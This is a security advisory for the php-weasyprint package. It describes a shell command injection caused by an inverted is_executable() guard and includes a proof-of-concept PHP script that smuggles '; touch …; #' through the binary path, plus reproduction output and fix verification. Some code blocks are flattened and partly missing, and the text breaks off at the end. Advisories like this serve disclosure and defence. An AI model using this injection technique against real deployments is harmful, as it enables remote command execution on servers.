GHSA-f5gc-qxf8-mh9g php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)

• Packagist pontedilana/php-weasyprint: < 2.5.1 → fixed in 2.5.1

Summary `pontedilana/php-weasyprint` builds the shell command for WeasyPrint by passing the binary path through `escapeshellarg()` first and then checking the *quoted* result with `is_executable()`. On POSIX `escapeshellarg('/usr/local/bin/weasyprint')` returns `'/usr/local/bin/weasyprint'` with the single-quote characters as part of the string, so `is_executable()` looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw `$binary` string (set via the constructor or `setBinary()`) flows directly into `Symfony\Component\Process\Process::fromShellCommandline()`. Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc (Snappy 1.7.1). Affected versions `pontedilana/php-weasyprint` versions `setBinary($binary) // src/AbstractGenerator.php:276 $this->binary = $binary; // no validation later, at conversion time: $pdf->generate($input, $output, $options) └── $this->getCommand($input, $output, $options) // src/AbstractGenerator.php:298 └── $this->buildCommand($this->binary, ...) // src/AbstractGenerator.php:306 └── ($vulnerable guard, see above) └── returns $command including raw $binary └── $this->executeCommand($command) // src/AbstractGenerator.php:202 └── Process::fromShellCommandline($command, null, $this->env, null, $this->timeout) └── /bin/sh -c $command // shell metacharacters interpreted ``` No intermediate validator, no scheme check, no allow-list. Whatever string reaches `setBinary()` is shell-evaluated. Proof of concept ```php /dev/null; touch /tmp/php_weasyprint_rce_marker; #'; $pdf = new Pdf($binaryString); $pdf->setTimeout(5); try { $pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true); } catch (Throwable $e) { // WeasyPrint binary call fails (its actual exit status is irrelevant); // the injected 'touch' between the ';' separators already ran. } if (file_exists('/tmp/php_weasyprint_rce_marker')) { echo "RCE MARKER PRESENT — injection landed.\n"; } else { echo "RCE marker absent — injection did NOT land.\n"; } ``` The `#` at the end of `$binaryString` comments out the unrelated `'/dev/null' '/tmp/poc_out.pdf'` tail that `buildCommand` appends, keeping the shell line syntactically valid. End-to-end reproduction (against pinned Composer install) ```bash 1. Pin the affected version mkdir poc-weasyprint && cd poc-weasyprint cat > composer.json /dev/null; touch /tmp/php_weasyprint_rce_marker; # '/dev/null' '/tmp/poc_out.pdf' --- end buildCommand --- generate() threw (expected, weasyprint binary call may fail): RuntimeException: The file '/tmp/poc_out.pdf' was not created (command: weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_ma... --- post-exec check --- RCE MARKER PRESENT — injection landed. stat: -rw-r--r--@ 1 rick wheel 0 5月 25 13:44 /tmp/php_weasyprint_rce_marker ``` Interpretation: | Observation | Expected if guard worked | Actual | |---|---|---| | Compiled command starts with `weasyprint --version ...; touch ...; #` | Should be wrapped in single quotes, e.g. `'weasyprint --version > /dev/null; touch /tmp/...; #'` | Raw, unquoted | | `/tmp/php_weasyprint_rce_marker` after `generate()` | Absent (binary path validation rejects) | Present — injected `touch` ran | The marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed. Negative control on a benign binary path: ```bash php poc_negctrl.php --- buildCommand for benign binary --- /usr/local/bin/weasyprint '/dev/null' '/tmp/poc_out_neg.pdf' Benign-path negative control clean: no spurious marker. ``` Even the benign path is emitted raw (without single-quotes around the binary), confirming the `is_executable()` guard never returns true — defensive depth is gone for every deployment, not just the malicious one. Fix verification: replacing both `buildCommand` overrides with the KnpLabs/snappy 1.7.1 shape (`if (!\is_executable($binary)) throw new RuntimeException(...); $command = \escapeshellarg($binary);`) and re-running the same harness: ``` --- patched buildCommand output --- [OK] build…